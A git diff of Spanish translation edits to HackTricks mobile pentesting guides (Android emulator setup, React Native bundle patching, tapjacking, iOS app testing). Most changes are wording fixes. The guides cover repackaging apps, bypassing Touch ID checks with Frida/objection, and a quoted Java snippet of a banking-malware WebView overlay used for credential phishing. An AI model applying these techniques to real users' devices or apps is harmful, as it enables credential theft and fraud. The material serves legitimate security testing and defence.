a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -Muchas gracias a [**@offsecjay**](https://twitter.com/offsecjay) por su ayuda mientras creaba este contenido. +Muchas gracias a [**@offsecjay**](https://twitter.com/offsecjay) por su ayuda al crear este contenido. ## Qué es @@ -43,7 +43,7 @@ Luego, haz clic en _**Create Virtual Device**_ _**selecciona** el teléfono que deseas usar_ y haz clic en _**Next.**_ > [!WARNING] -> Si necesitas un teléfono con Play Store instalado, ¡selecciona uno con el ícono de Play Store! +> Si necesitas un teléfono con Play Store instalado, selecciona uno con el ícono de Play Store en él. > > @@ -58,13 +58,16 @@ La máquina virtual será creada. Ahora **cada vez que accedas al AVD manager es ### Ejecutar Máquina Virtual -Para **ejecutarla**, solo presiona el _**Start button**_. +Para **ejecutarla** solo presiona el _**Start button**_. ![](<../../images/image (518).png>) ## Herramienta de Línea de Comando -Primero que nada, necesitas **decidir qué teléfono quieres usar**, para ver la lista de teléfonos posibles ejecuta: +> [!WARNING] +> Para macOS puedes encontrar la herramienta `avdmanager` en `/Users//Library/Android/sdk/tools/bin/avdmanager` y el `emulator` en `/Users//Library/Android/sdk/emulator/emulator` si los tienes instalados. + +Primero que nada, necesitas **decidir qué teléfono deseas usar**, para ver la lista de teléfonos posibles ejecuta: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device @@ -139,6 +142,9 @@ Error: Google pixel_2 no longer exists as a device ``` ### Ejecutar Máquina Virtual +> [!WARNING] +> Para macOS, puedes encontrar la herramienta `avdmanager` en `/Users//Library/Android/sdk/tools/bin/avdmanager` y el `emulator` en `/Users//Library/Android/sdk/emulator/emulator` si los tienes instalados. + Ya hemos visto cómo puedes listar las máquinas virtuales creadas, pero **también puedes listarlas usando**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds @@ -167,6 +173,8 @@ Sin embargo, hay **muchas opciones útiles de línea de comandos** que puedes us - `-dns-server 192.0.2.0, 192.0.2.255` : Permitir indicar separados por comas los servidores DNS a la VM. - **`-http-proxy 192.168.1.12:8080`** : Permitir indicar un proxy HTTP a usar (muy útil para capturar el tráfico usando Burp) +- Si la configuración del proxy no está funcionando por alguna razón, intenta configurarlas internamente o usando una aplicación como "Super Proxy" o "ProxyDroid". +- `-netdelay 200` : Establecer la emulación de latencia de red en milisegundos. - `-port 5556` : Establecer el número de puerto TCP que se usa para la consola y adb. - `-ports 5556,5559` : Establecer los puertos TCP utilizados para la consola y adb. - **`-tcpdump /path/dumpfile.cap`** : Capturar todo el tráfico en un archivo diff --git a/src/mobile-pentesting/android-app-pentesting/react-native-application.md b/src/mobile-pentesting/android-app-pentesting/react-native-application.md index 6cae72058..68e2f62fa 100644 --- a/src/mobile-pentesting/android-app-pentesting/react-native-application.md +++ b/src/mobile-pentesting/android-app-pentesting/react-native-application.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -Para confirmar si la aplicación fue construida sobre el marco de React Native, sigue estos pasos: +Para confirmar si la aplicación fue construida sobre el framework React Native, sigue estos pasos: 1. Cambia el nombre del archivo APK con una extensión zip y extráelo a una nueva carpeta usando el comando `cp com.example.apk example-apk.zip` y `unzip -qq example-apk.zip -d ReactNative`. -2. Navega a la carpeta ReactNative recién creada y localiza la carpeta de assets. Dentro de esta carpeta, deberías encontrar el archivo `index.android.bundle`, que contiene el JavaScript de React en un formato minificado. +2. Navega a la carpeta ReactNative recién creada y localiza la carpeta assets. Dentro de esta carpeta, deberías encontrar el archivo `index.android.bundle`, que contiene el JavaScript de React en un formato minificado. 3. Usa el comando `find . -print | grep -i ".bundle$"` para buscar el archivo JavaScript. @@ -24,9 +24,9 @@ unzip -p app.apks universal.apk > universal.apk unzip -qq universal.apk -d ReactNative ls ReactNative/assets/ ``` -## Javascript Code +## Código Javascript -Si al verificar el contenido de `index.android.bundle` encuentras el código JavaScript de la aplicación (incluso si está minificado), puedes **analizarlo para encontrar información sensible y vulnerabilidades**. +Si al revisar el contenido de `index.android.bundle` encuentras el código JavaScript de la aplicación (incluso si está minificado), puedes **analizarlo para encontrar información sensible y vulnerabilidades**. Dado que el bundle contiene en realidad todo el código JS de la aplicación, es posible **dividirlo en diferentes archivos** (potencialmente facilitando su ingeniería inversa) utilizando la **herramienta [react-native-decompiler](https://github.com/numandev1/react-native-decompiler)**. @@ -74,7 +74,7 @@ strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|Deployme strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)" ``` Si sospechas de marcos de actualización Over-The-Air, también busca: -- Microsoft App Center / claves de implementación de CodePush +- Claves de implementación de Microsoft App Center / CodePush - Configuración de Expo EAS Updates (`expo-updates`, `expo\.io`, certificados de firma) ### Cambiar el código JS y reconstruir @@ -110,9 +110,9 @@ Tip: El proyecto de código abierto Hermes también incluye herramientas para de Idealmente deberías poder modificar el código desensamblado (cambiando una comparación, o un valor o lo que necesites modificar) y luego **reconstruir el bytecode** y reconstruir la aplicación. -- El **[hbctool](https://github.com/bongtrop/hbctool)** original soporta desensamblar el paquete y volver a construirlo después de los cambios, pero históricamente solo soportó versiones de bytecode más antiguas. Los forks mantenidos por la comunidad extienden el soporte a versiones más nuevas de Hermes (incluyendo mediados de los 80–96) y a menudo son la opción más práctica para parchear aplicaciones modernas de RN. -- La herramienta **[hermes-dec](https://github.com/P1sec/hermes-dec)** no soporta la reconstrucción del bytecode (solo descompilador/desensamblador), pero es muy útil para navegar la lógica y volcar cadenas. -- La herramienta **[hasmer](https://github.com/lucasbaizer2/hasmer)** tiene como objetivo soportar tanto desensamblaje como ensamblaje para múltiples versiones de Hermes; el ensamblaje aún está madurando pero vale la pena probar en bytecode reciente. +- El **[hbctool](https://github.com/bongtrop/hbctool)** original admite desensamblar el paquete y volver a construirlo después de los cambios, pero históricamente solo ha admitido versiones de bytecode más antiguas. Los forks mantenidos por la comunidad extienden el soporte a versiones más nuevas de Hermes (incluyendo mediados de los 80–96) y a menudo son la opción más práctica para parchear aplicaciones modernas de RN. +- La herramienta **[hermes-dec](https://github.com/P1sec/hermes-dec)** no admite la reconstrucción del bytecode (solo descompilador/desensamblador), pero es muy útil para navegar por la lógica y volcar cadenas. +- La herramienta **[hasmer](https://github.com/lucasbaizer2/hasmer)** tiene como objetivo admitir tanto desensamblaje como ensamblaje para múltiples versiones de Hermes; el ensamblaje aún está madurando, pero vale la pena intentarlo con bytecode reciente. Un flujo de trabajo mínimo con ensambladores similares a hbctool: ```bash @@ -130,7 +130,7 @@ hbctool asm ./hasm assets/index.android.bundle zip -r ../patched.apk * # Align/sign as usual (see Android signing section in HackTricks) ``` -Note que el formato de bytecode de Hermes está versionado y el ensamblador debe coincidir exactamente con el formato en disco. Si recibe errores de formato, cambie a un fork/alternativa actualizado o reconstruya las herramientas de Hermes correspondientes. +Note que el formato de bytecode de Hermes está versionado y el ensamblador debe coincidir exactamente con el formato en disco. Si recibe errores de formato, cambie a un fork/alternativa actualizada o reconstruya las herramientas de Hermes correspondientes. ## Análisis Dinámico @@ -171,7 +171,7 @@ make-apk-accept-ca-certificate.md frida-tutorial/objection-tutorial.md {{#endref}} -## Problemas recientes en bibliotecas RN populares (qué buscar) +## Problemas recientes en bibliotecas populares de RN (qué buscar) Al auditar módulos de terceros visibles en el paquete JS o bibliotecas nativas, verifica vulnerabilidades conocidas y verifica versiones en `package.json`/`yarn.lock`. diff --git a/src/mobile-pentesting/android-app-pentesting/tapjacking.md b/src/mobile-pentesting/android-app-pentesting/tapjacking.md index 879c0c572..4e1b4d450 100644 --- a/src/mobile-pentesting/android-app-pentesting/tapjacking.md +++ b/src/mobile-pentesting/android-app-pentesting/tapjacking.md @@ -2,6 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} + ## **Información Básica** **Tapjacking** es un ataque donde una **aplicación maliciosa** se lanza y **se posiciona encima de una aplicación víctima**. Una vez que oscurece visiblemente la aplicación víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para que interactúe con ella, mientras pasa la interacción a la aplicación víctima.\ @@ -9,9 +10,9 @@ En efecto, está **cegando al usuario para que no sepa que realmente está reali ### Detección -Para detectar aplicaciones vulnerables a este ataque, debes buscar **actividades exportadas** en el manifiesto de android (ten en cuenta que una actividad con un intent-filter se exporta automáticamente por defecto). Una vez que hayas encontrado las actividades exportadas, **verifica si requieren algún permiso**. Esto se debe a que la **aplicación maliciosa también necesitará ese permiso**. +Para detectar aplicaciones vulnerables a este ataque, debes buscar **actividades exportadas** en el manifiesto de Android (ten en cuenta que una actividad con un intent-filter se exporta automáticamente por defecto). Una vez que hayas encontrado las actividades exportadas, **verifica si requieren algún permiso**. Esto se debe a que la **aplicación maliciosa también necesitará ese permiso**. -También puedes verificar la versión mínima del SDK de la aplicación, comprobando el valor de **`android:minSdkVersion`** en el archivo **`AndroidManifest.xml`**. Si el valor es **menor que 30**, la aplicación es vulnerable a Tapjacking. +También puedes verificar la versión mínima del SDK de la aplicación, comprobando el valor de **`android:minSdkVersion`** en el archivo **`AndroidManifest.xml`**. Si el valor es **inferior a 30**, la aplicación es vulnerable a Tapjacking. ### Protección @@ -64,12 +65,12 @@ La mitigación es relativamente simple, ya que el desarrollador puede optar por ## Phishing de Superposición de Accesibilidad (Variante de Troyano Bancario) -Además del Tapjacking clásico, las familias modernas de malware bancario en Android (por ejemplo, **ToxicPanda**, BrasDex, Sova, etc.) abusan del **Servicio de Accesibilidad** para colocar una **superposición** de WebView a pantalla completa sobre la aplicación legítima mientras aún pueden **reenviar la entrada del usuario** a la vista de abajo. Esto aumenta drásticamente la credibilidad y permite a los atacantes robar credenciales, OTPs o incluso automatizar transacciones fraudulentas. +Además del Tapjacking clásico, las familias de malware bancario moderno de Android (por ejemplo, **ToxicPanda**, BrasDex, Sova, etc.) abusan del **Servicio de Accesibilidad** para colocar una **superposición** de WebView a pantalla completa sobre la aplicación legítima mientras aún pueden **reenviar la entrada del usuario** a la vista de abajo. Esto aumenta drásticamente la credibilidad y permite a los atacantes robar credenciales, OTPs o incluso automatizar transacciones fraudulentas. ### Cómo funciona 1. El APK malicioso solicita el permiso altamente sensible `BIND_ACCESSIBILITY_SERVICE`, generalmente ocultando la solicitud detrás de un falso diálogo de Google/Chrome/visor de PDF. 2. Una vez que el usuario habilita el servicio, el malware simula programáticamente los toques necesarios para conceder permisos adicionales peligrosos (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …). -3. Se infla un **WebView** y se agrega al administrador de ventanas utilizando el tipo de ventana **`TYPE_ACCESSIBILITY_OVERLAY`**. La superposición puede renderizarse totalmente opaca o semitransparente y puede marcarse como *“a través”* para que los toques originales aún se entreguen a la actividad de fondo (por lo tanto, la transacción realmente ocurre mientras la víctima solo ve el formulario de phishing). +3. Se infla un **WebView** y se agrega al administrador de ventanas utilizando el tipo de ventana **`TYPE_ACCESSIBILITY_OVERLAY`**. La superposición puede renderizarse totalmente opaca o semitransparente y puede ser marcada como *“a través”* para que los toques originales aún se entreguen a la actividad de fondo (por lo tanto, la transacción realmente ocurre mientras la víctima solo ve el formulario de phishing). ```java WebView phishingView = new WebView(getApplicationContext()); phishingView.getSettings().setJavaScriptEnabled(true); @@ -100,7 +101,8 @@ wm.addView(phishingView, lp); - Deshabilitar *Instalar de fuentes desconocidas* y *Accesibilidad para aplicaciones no confiables*. - Hacer cumplir PlayProtect y dispositivos actualizados. -Para detalles adicionales sobre cómo aprovechar los Servicios de Accesibilidad para el control remoto completo del dispositivo (por ejemplo, PlayPraetor, SpyNote, etc.) ver: +Para obtener detalles adicionales sobre el aprovechamiento de los Servicios de Accesibilidad para el control remoto completo del dispositivo (por ejemplo, PlayPraetor, SpyNote, etc.) consulte: + {{#ref}} accessibility-services-abuse.md diff --git a/src/mobile-pentesting/ios-pentesting/README.md b/src/mobile-pentesting/ios-pentesting/README.md index 0c2d90fcb..173162134 100644 --- a/src/mobile-pentesting/ios-pentesting/README.md +++ b/src/mobile-pentesting/ios-pentesting/README.md @@ -4,6 +4,7 @@ ## iOS Basics + {{#ref}} ios-basics.md {{#endref}} @@ -12,6 +13,7 @@ ios-basics.md En esta página puedes encontrar información sobre el **simulador de iOS**, **emuladores** y **jailbreaking:** + {{#ref}} ios-testing-environment.md {{#endref}} @@ -22,6 +24,7 @@ ios-testing-environment.md Durante la prueba **se van a sugerir varias operaciones** (conectar al dispositivo, leer/escribir/subir/bajar archivos, usar algunas herramientas...). Por lo tanto, si no sabes cómo realizar alguna de estas acciones, por favor, **comienza a leer la página**: + {{#ref}} basic-ios-testing-operations.md {{#endref}} @@ -32,7 +35,7 @@ basic-ios-testing-operations.md ### Basic Static Analysis -Algunos descompiladores interesantes de iOS - archivos IPA: +Algunos descompiladores interesantes de archivos iOS - IPA: - [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite) - [https://ghidra-sre.org/](https://ghidra-sre.org/) @@ -44,25 +47,25 @@ Identificación de **protecciones presentes en el binario**: - **PIE (Position Independent Executable)**: Cuando está habilitado, la aplicación se carga en una dirección de memoria aleatoria cada vez que se inicia, lo que dificulta predecir su dirección de memoria inicial. ```bash -otool -hv | grep PIE # Debería incluir la bandera PIE +otool -hv | grep PIE # Debe incluir la bandera PIE ``` - **Stack Canaries**: Para validar la integridad de la pila, se coloca un valor de ‘canario’ en la pila antes de llamar a una función y se valida nuevamente una vez que la función termina. ```bash -otool -I -v | grep stack_chk # Debería incluir los símbolos: stack_chk_guard y stack_chk_fail +otool -I -v | grep stack_chk # Debe incluir los símbolos: stack_chk_guard y stack_chk_fail ``` - **ARC (Automatic Reference Counting)**: Para prevenir fallos comunes de corrupción de memoria ```bash -otool -I -v | grep objc_release # Debería incluir el símbolo _objc_release +otool -I -v | grep objc_release # Debe incluir el símbolo _objc_release ``` - **Encrypted Binary**: El binario debe estar encriptado ```bash -otool -arch all -Vl | grep -A5 LC_ENCRYPT # El cryptid debería ser 1 +otool -arch all -Vl | grep -A5 LC_ENCRYPT # El cryptid debe ser 1 ``` **Identificación de Funciones Sensibles/Inseguras** @@ -156,6 +159,7 @@ PID Name Identifier Aprende a **enumerar los componentes de la aplicación** y cómo **hookear métodos y clases** con objection: + {{#ref}} ios-hooking-with-objection.md {{#endref}} @@ -168,7 +172,7 @@ La estructura de un **archivo IPA** es esencialmente la de un **paquete comprimi - **`_CodeSignature/`**: Este directorio incluye un archivo plist que contiene una firma, asegurando la integridad de todos los archivos en el bundle. - **`Assets.car`**: Un archivo comprimido que almacena archivos de recursos como íconos. - **`Frameworks/`**: Esta carpeta alberga las bibliotecas nativas de la aplicación, que pueden estar en forma de archivos `.dylib` o `.framework`. -- **`PlugIns/`**: Esto puede incluir extensiones a la aplicación, conocidas como archivos `.appex`, aunque no siempre están presentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Se utiliza para guardar los datos permanentes de tu aplicación para uso offline, para almacenar datos temporales en caché y para agregar funcionalidad de deshacer a tu aplicación en un solo dispositivo. Para sincronizar datos en múltiples dispositivos en una sola cuenta de iCloud, Core Data refleja automáticamente tu esquema en un contenedor de CloudKit. +- **`PlugIns/`**: Esto puede incluir extensiones a la aplicación, conocidas como archivos `.appex`, aunque no siempre están presentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Se utiliza para guardar los datos permanentes de tu aplicación para uso offline, para almacenar datos temporales y para agregar funcionalidad de deshacer a tu aplicación en un solo dispositivo. Para sincronizar datos en múltiples dispositivos en una sola cuenta de iCloud, Core Data refleja automáticamente tu esquema a un contenedor de CloudKit. - [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): El archivo `PkgInfo` es una forma alternativa de especificar los códigos de tipo y creador de tu aplicación o bundle. - **en.lproj, fr.proj, Base.lproj**: Son los paquetes de idioma que contienen recursos para esos idiomas específicos, y un recurso predeterminado en caso de que un idioma no esté soportado. - **Seguridad**: El directorio `_CodeSignature/` juega un papel crítico en la seguridad de la aplicación al verificar la integridad de todos los archivos empaquetados a través de firmas digitales. @@ -202,7 +206,7 @@ En el entorno de iOS, los directorios están designados específicamente para ** > [!WARNING] > Dado que las aplicaciones en iOS deben estar en un entorno aislado, cada aplicación también tendrá una carpeta dentro de **`$HOME/Library/Containers`** con el **`CFBundleIdentifier`** de la aplicación como nombre de la carpeta. > -> Sin embargo, ambas carpetas (carpetas de datos y de contenedor) tienen el archivo **`.com.apple.mobile_container_manager.metadata.plist`** que vincula ambos archivos en la clave `MCMetadataIdentifier`). +> Sin embargo, ambas carpetas (carpetas de datos y de contenedores) tienen el archivo **`.com.apple.mobile_container_manager.metadata.plist`** que vincula ambos archivos en la clave `MCMetadataIdentifier`). Para facilitar el descubrimiento del directorio de instalación de una aplicación instalada por el usuario, la **herramienta objection** proporciona un comando útil, `env`. Este comando revela información detallada del directorio para la aplicación en cuestión. A continuación se muestra un ejemplo de cómo usar este comando: ```bash @@ -230,7 +234,7 @@ lsof -p | grep -i "/containers" | head -n 1 - Este es el paquete de la aplicación como se vio antes en el IPA, contiene datos esenciales de la aplicación, contenido estático así como el binario compilado de la aplicación. - Este directorio es visible para los usuarios, pero **los usuarios no pueden escribir en él**. - El contenido en este directorio **no se respalda**. -- El contenido de esta carpeta se utiliza para **validar la firma del código**. +- Los contenidos de esta carpeta se utilizan para **validar la firma del código**. **Directorio de datos:** @@ -249,7 +253,7 @@ lsof -p | grep -i "/containers" | head -n 1 - El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no está en ejecución y el espacio de almacenamiento es bajo. - **Library/Application Support/** - Contiene **archivos** **persistentes** necesarios para ejecutar la aplicación. -- **Invisible** **para** **los usuarios** y los usuarios no pueden escribir en él. +- **Invisible** **para** **los** **usuarios** y los usuarios no pueden escribir en él. - El contenido en este directorio **se respalda**. - La aplicación puede deshabilitar rutas configurando `NSURLIsExcludedFromBackupKey`. - **Library/Preferences/** @@ -257,13 +261,13 @@ lsof -p | grep -i "/containers" | head -n 1 - La información se guarda, sin cifrar, dentro del sandbox de la aplicación en un archivo plist llamado \[BUNDLE_ID].plist. - Todos los pares clave/valor almacenados usando `NSUserDefaults` se pueden encontrar en este archivo. - **tmp/** -- Usa este directorio para escribir **archivos temporales** que no necesitan persistir entre lanzamientos de la aplicación. +- Utiliza este directorio para escribir **archivos temporales** que no necesitan persistir entre lanzamientos de la aplicación. - Contiene archivos de caché no persistentes. - **Invisible** para los usuarios. - El contenido en este directorio no se respalda. - El sistema operativo puede eliminar automáticamente los archivos de este directorio cuando la aplicación no está en ejecución y el espacio de almacenamiento es bajo. -Veamos más de cerca el paquete de la aplicación iGoat-Swift (.app) dentro del directorio del paquete (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`): +Echemos un vistazo más de cerca al paquete de la aplicación de iGoat-Swift (.app) dentro del directorio del paquete (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`): ```bash OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls NSFileType Perms NSFileProtection ... Name @@ -301,7 +305,7 @@ otool -l | grep -A 4 LC_ENCRYPTION_INFO ``` **Desensamblando el binario** -Desensambla la sección de texto: +Desensamblar la sección de texto: ```bash otool -tV DVIA-v2 DVIA-v2: @@ -379,19 +383,19 @@ La clase [`NSUserDefaults`](https://developer.apple.com/documentation/foundation Estos datos no pueden ser accedidos directamente a través de una computadora de confianza, pero pueden ser accedidos realizando una **copia de seguridad**. -Puedes **volcar** la información guardada usando **`NSUserDefaults`** utilizando `ios nsuserdefaults get` de objection. +Puedes **volcar** la información guardada usando **`NSUserDefaults`** con el comando `ios nsuserdefaults get` de objection. Para encontrar todos los plist utilizados por la aplicación, puedes acceder a `/private/var/mobile/Containers/Data/Application/{APPID}` y ejecutar: ```bash find ./ -name "*.plist" ``` -Para convertir archivos de formato **XML o binario (bplist)** a XML, hay varios métodos disponibles según tu sistema operativo: +Para convertir archivos de **XML o binario (bplist)** a XML, hay varios métodos disponibles según tu sistema operativo: **Para usuarios de macOS:** Utiliza el comando `plutil`. Es una herramienta integrada en macOS (10.2+), diseñada para este propósito: ```bash $ plutil -convert xml1 Info.plist ``` -**Para usuarios de Linux:** Instale primero `libplist-utils`, luego use `plistutil` para convertir su archivo: +**Para usuarios de Linux:** Instale `libplist-utils` primero, luego use `plistutil` para convertir su archivo: ```bash $ apt install libplist-utils $ plistutil -i Info.plist -o Info_xml.plist @@ -566,7 +570,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds; [self.backgroundImage removeFromSuperview]; } ``` -Esto establece la imagen de fondo a `overlayImage.png` cada vez que la aplicación se envía al fondo. Previene filtraciones de datos sensibles porque `overlayImage.png` siempre sobrescribirá la vista actual. +Esto establece la imagen de fondo en `overlayImage.png` cada vez que la aplicación se envía al fondo. Previene filtraciones de datos sensibles porque `overlayImage.png` siempre sobrescribirá la vista actual. ### Keychain @@ -584,7 +588,7 @@ Para extraer estas credenciales almacenadas, se utiliza el comando `ios nsurlcre ## **Teclados Personalizados y Caché de Teclado** -Con iOS 8.0 en adelante, los usuarios pueden instalar extensiones de teclado personalizadas, que se pueden gestionar en **Configuración > General > Teclado > Teclados**. Aunque estos teclados ofrecen funcionalidad extendida, representan un riesgo de registro de pulsaciones y transmisión de datos a servidores externos, aunque se notifica a los usuarios sobre los teclados que requieren acceso a la red. Las aplicaciones pueden, y deben, restringir el uso de teclados personalizados para la entrada de información sensible. +Con iOS 8.0 en adelante, los usuarios pueden instalar extensiones de teclado personalizadas, que se pueden gestionar en **Configuración > General > Teclado > Teclados**. Si bien estos teclados ofrecen funcionalidad extendida, representan un riesgo de registro de pulsaciones y transmisión de datos a servidores externos, aunque se notifica a los usuarios sobre los teclados que requieren acceso a la red. Las aplicaciones pueden, y deben, restringir el uso de teclados personalizados para la entrada de información sensible. **Recomendaciones de Seguridad:** @@ -594,7 +598,7 @@ Con iOS 8.0 en adelante, los usuarios pueden instalar extensiones de teclado per ### **Prevención de Caché en Campos de Texto** -El [protocolo UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) ofrece propiedades para gestionar la autocorrección y la entrada de texto segura, esenciales para prevenir el almacenamiento en caché de información sensible. Por ejemplo, deshabilitar la autocorrección y habilitar la entrada de texto segura se puede lograr con: +El [UITextInputTraits protocol](https://developer.apple.com/reference/uikit/uitextinputtraits) ofrece propiedades para gestionar la autocorrección y la entrada de texto segura, esenciales para prevenir el almacenamiento en caché de información sensible. Por ejemplo, deshabilitar la autocorrección y habilitar la entrada de texto segura se puede lograr con: ```objectivec textObject.autocorrectionType = UITextAutocorrectionTypeNo; textObject.secureTextEntry = YES; @@ -606,11 +610,11 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo; ``` ## **Registros** -La depuración de código a menudo implica el uso de **registros**. Existe un riesgo involucrado ya que **los registros pueden contener información sensible**. Anteriormente, en iOS 6 y versiones anteriores, los registros eran accesibles para todas las aplicaciones, lo que representaba un riesgo de filtración de datos sensibles. **Ahora, las aplicaciones están restringidas a acceder solo a sus propios registros**. +La depuración de código a menudo implica el uso de **registros**. Existe un riesgo involucrado ya que **los registros pueden contener información sensible**. Anteriormente, en iOS 6 y versiones anteriores, los registros eran accesibles para todas las aplicaciones, lo que planteaba un riesgo de filtración de datos sensibles. **Ahora, las aplicaciones están restringidas a acceder solo a sus propios registros**. A pesar de estas restricciones, un **atacante con acceso físico** a un dispositivo desbloqueado aún puede explotar esto conectando el dispositivo a una computadora y **leyendo los registros**. Es importante tener en cuenta que los registros permanecen en el disco incluso después de la desinstalación de la aplicación. -Para mitigar riesgos, se aconseja **interactuar a fondo con la aplicación**, explorando todas sus funcionalidades e inputs para asegurarse de que no se esté registrando información sensible de manera inadvertida. +Para mitigar riesgos, se aconseja **interactuar a fondo con la aplicación**, explorando todas sus funcionalidades e inputs para asegurarse de que no se esté registrando inadvertidamente información sensible. Al revisar el código fuente de la aplicación en busca de posibles filtraciones, busque tanto **declaraciones de registro** **predefinidas** como **personalizadas** utilizando palabras clave como `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` para funciones integradas, y cualquier mención de `Logging` o `Logfile` para implementaciones personalizadas. @@ -642,7 +646,7 @@ Las **funciones de copia de seguridad automática** están integradas en iOS, fa ### Riesgos de seguridad -La inclusión de **aplicaciones instaladas y sus datos** en las copias de seguridad plantea el problema de la **filtración de datos** potencial y el riesgo de que **las modificaciones de la copia de seguridad puedan alterar la funcionalidad de la aplicación**. Se aconseja **no almacenar información sensible en texto plano** dentro del directorio de cualquier aplicación o sus subdirectorios para mitigar estos riesgos. +La inclusión de **aplicaciones instaladas y sus datos** en las copias de seguridad plantea el problema de la **filtración de datos** potencial y el riesgo de que **las modificaciones en la copia de seguridad puedan alterar la funcionalidad de la aplicación**. Se aconseja **no almacenar información sensible en texto plano** dentro del directorio de cualquier aplicación o sus subdirectorios para mitigar estos riesgos. ### Exclusión de archivos de las copias de seguridad @@ -652,7 +656,7 @@ Los archivos en `Documents/` y `Library/Application Support/` se respaldan por d Para evaluar la seguridad de la copia de seguridad de una aplicación, comience por **crear una copia de seguridad** utilizando Finder, luego localícela utilizando la guía de [la documentación oficial de Apple](https://support.apple.com/en-us/HT204215). Analice la copia de seguridad en busca de datos sensibles o configuraciones que podrían ser alteradas para afectar el comportamiento de la aplicación. -La información sensible se puede buscar utilizando herramientas de línea de comandos o aplicaciones como [iMazing](https://imazing.com). Para copias de seguridad cifradas, la presencia de cifrado se puede confirmar verificando la clave "IsEncrypted" en el archivo "Manifest.plist" en la raíz de la copia de seguridad. +Se puede buscar información sensible utilizando herramientas de línea de comandos o aplicaciones como [iMazing](https://imazing.com). Para copias de seguridad cifradas, la presencia de cifrado se puede confirmar verificando la clave "IsEncrypted" en el archivo "Manifest.plist" en la raíz de la copia de seguridad. ```xml @@ -665,7 +669,7 @@ La información sensible se puede buscar utilizando herramientas de línea de co ... ``` -Para tratar con copias de seguridad encriptadas, los scripts de Python disponibles en [el repositorio de GitHub de DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), como **backup_tool.py** y **backup_passwd.py**, pueden ser útiles, aunque potencialmente requiriendo ajustes para la compatibilidad con las últimas versiones de iTunes/Finder. La herramienta [**iOSbackup**](https://pypi.org/project/iOSbackup/) es otra opción para acceder a archivos dentro de copias de seguridad protegidas por contraseña. +Para tratar con copias de seguridad encriptadas, los scripts de Python disponibles en [DinoSec's GitHub repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), como **backup_tool.py** y **backup_passwd.py**, pueden ser útiles, aunque potencialmente requiriendo ajustes para la compatibilidad con las últimas versiones de iTunes/Finder. La herramienta [**iOSbackup**](https://pypi.org/project/iOSbackup/) es otra opción para acceder a archivos dentro de copias de seguridad protegidas por contraseña. ### Modificando el Comportamiento de la Aplicación @@ -702,7 +706,7 @@ $ r2 frida://usb// ``` ## Criptografía Rota -### Procesos de Gestión de Claves Pobre +### Procesos de Gestión de Claves Deficientes Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los encriptan con una clave codificada/predictible en el código. Esto no debería hacerse, ya que algún proceso de reversión podría permitir a los atacantes extraer la información confidencial. @@ -729,7 +733,7 @@ El [**framework de Autenticación Local**](https://developer.apple.com/documenta Para integrar Touch ID/Face ID, los desarrolladores tienen dos opciones de API: - **`LocalAuthentication.framework`** para autenticación de usuario de alto nivel sin acceso a datos biométricos. -- **`Security.framework`** para acceso a servicios de keychain de bajo nivel, asegurando datos secretos con autenticación biométrica. Varios [wrappers de código abierto](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) hacen que el acceso al keychain sea más sencillo. +- **`Security.framework`** para acceso a servicios de keychain de bajo nivel, asegurando datos secretos con autenticación biométrica. Varios [wrappers de código abierto](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) hacen que el acceso al keychain sea más simple. > [!CAUTION] > Sin embargo, tanto `LocalAuthentication.framework` como `Security.framework` presentan vulnerabilidades, ya que principalmente devuelven valores booleanos sin transmitir datos para procesos de autenticación, lo que los hace susceptibles a eludir (consulta [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)). @@ -880,7 +884,7 @@ El uso de frameworks en una aplicación también se puede detectar analizando la ```bash $ otool -L .app/ ``` -Si se utiliza `LocalAuthentication.framework` en una aplicación, la salida contendrá ambas líneas siguientes (recuerda que `LocalAuthentication.framework` utiliza `Security.framework` en segundo plano): +Si se utiliza `LocalAuthentication.framework` en una aplicación, la salida contendrá ambas líneas siguientes (recuerde que `LocalAuthentication.framework` utiliza `Security.framework` en segundo plano): ```bash /System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication /System/Library/Frameworks/Security.framework/Security @@ -906,7 +910,7 @@ Este comando inicia una secuencia donde Objection registra una tarea que altera #### Frida -Un ejemplo de un uso de **`evaluatePolicy`** de la [aplicación DVIA-v2](https://github.com/prateek147/DVIA-v2): +Un ejemplo de un uso de **`evaluatePolicy`** de la aplicación [DVIA-v2](https://github.com/prateek147/DVIA-v2): ```swift +(void)authenticateWithTouchID { LAContext *myContext = [[LAContext alloc] init]; @@ -1020,7 +1024,7 @@ burp-configuration-for-ios.md Un problema común al validar el certificado TLS es verificar que el certificado fue firmado por una **CA** **confiable**, pero **no verificar** si **el nombre de host** del certificado es el nombre de host que se está accediendo.\ Para verificar este problema usando Burp, después de confiar en la CA de Burp en el iPhone, puedes **crear 